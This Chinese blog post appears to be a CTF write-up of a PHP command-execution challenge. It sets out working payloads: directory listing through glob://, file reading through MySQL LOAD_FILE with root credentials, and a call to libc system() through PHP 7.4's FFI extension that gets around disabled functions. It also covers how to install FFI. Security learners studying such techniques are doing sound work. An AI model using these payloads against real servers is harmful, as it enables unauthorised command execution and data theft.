php7.4以上的FFI扩展命令执行

blog 188

前言

今天,在做一道命令执行的题目时,发现了一个php版本7.4(包含php7.4)以上的一个默认安装扩展,可以执行系统命令。即FFI(Foreign Function Interface)即外部函数接口。https://www.php.net/manual/zh/ffi.cdef.php

解题

题目源码是这样的:

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);  // eval执行参数c的值
        $s = ob_get_contents();  // 返回缓冲区的内容
        ob_end_clean(); #  清空(擦除)缓冲区并关闭输出缓冲 此时eval()执行的结果就被清空了
        echo preg_replace("/[0-9]|[a-z]/i","?",$s); # 将所有字母和数字替换为?
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?

看似没有过滤任何的参数。但其实,禁用了很多函数、命令执行全系列函数、scandir()highlight()show_source()等等。这是ctfshow平台的web入门命令执行第77道题。题目链接: https://ctf.show/challenges

下面附上我对题目的解析:

构造payload获取目录: 利用`glob://`伪协议。

c=
    $a = new DirectoryIterator('glob:///*');
    foreach($a as $f){
        echo $f . '  ';
    };
    exit();

运行结果:

php7.4以上的FFI扩展命令执行

可以发现根目录下存在falg46.txt以及readflag两个特殊文件。

先使用mysql的load_file()函数读取flag46.txt文件。

c=$host = 'mysql:host=localhost;dbname=mysql';
    $dbuser = 'root';
    $dbpass = 'root';
    try{
        $conn = new PDO($host,$dbuser,$dbpass);
        foreach($conn->query('SELECT LOAD_FILE("/flag46.txt")') as $row){
            echo $row[0];
        }     
    }catch(PDOException $e){
        echo $e->getMessage();
        exit();
    };
  exit();
php7.4以上的FFI扩展命令执行

文件返回内容如上。似乎在提示我们文件找不到驱动器。也就是说flag不再硬盘里面?

最后发现readflag是一个可执行文件。执行的结果为flag内容,利用方法如下:

在php7.4中提供了一个新的命令执行接口,即FFI(Foreign Function Interface)即外部函数接口

FFI只会执行命令,不会返回对应的命令执行结果。

<?php
$ffi=FFI::cdef("int system(const char *command);");
$a='touch 123.txt';  // 执行的命令
echo $ffi->system($a);  
?>

构造payload:

c=$ffi=FFI::cdef("int system(const char *command);");
$a='/readflag > /var/www/html/a.txt';   // 将运行/readflag程序 将输出内容重定向到网站根目录的a.txt
$ffi->system($a);

因为readflag是一个可执行程序。所以运行了会有对应的结果输出。

此时网站根目录下就会生成a.txt,即flag内容。直接访问a.txt即可。

FFI扩展的安装

如果你使用的是宝塔、以及MAMP等集成开发环境的PHP。那么PHP7.4以上是没有FFI扩展的。需要手动编译`php7.4`以上版本进行安装。

直接下载一个php源码:https://www.php.net/distributions/php-7.4.27.tar.gz

或者进入到下载页面自行挑选下载: https://www.php.net/downloads.php

 wget https://www.php.net/distributions/php-7.4.27.tar.gz
 tar -zxvf php-7.4.27.tar.gz
 cd php-7.4.27/ext/ffi
 phpize 
 ./configure --with-php-config=/www/server/php/74/bin/php-config
 make   
 make && make install

运行完以上命令之后,就会将ffi.so访问你的扩展目录。

php7.4以上的FFI扩展命令执行

之后再php.ini中添加配置即可:

ffi.enable=true
extension = "ffi.so"
php7.4以上的FFI扩展命令执行

之后重启PHP程序即可。

分享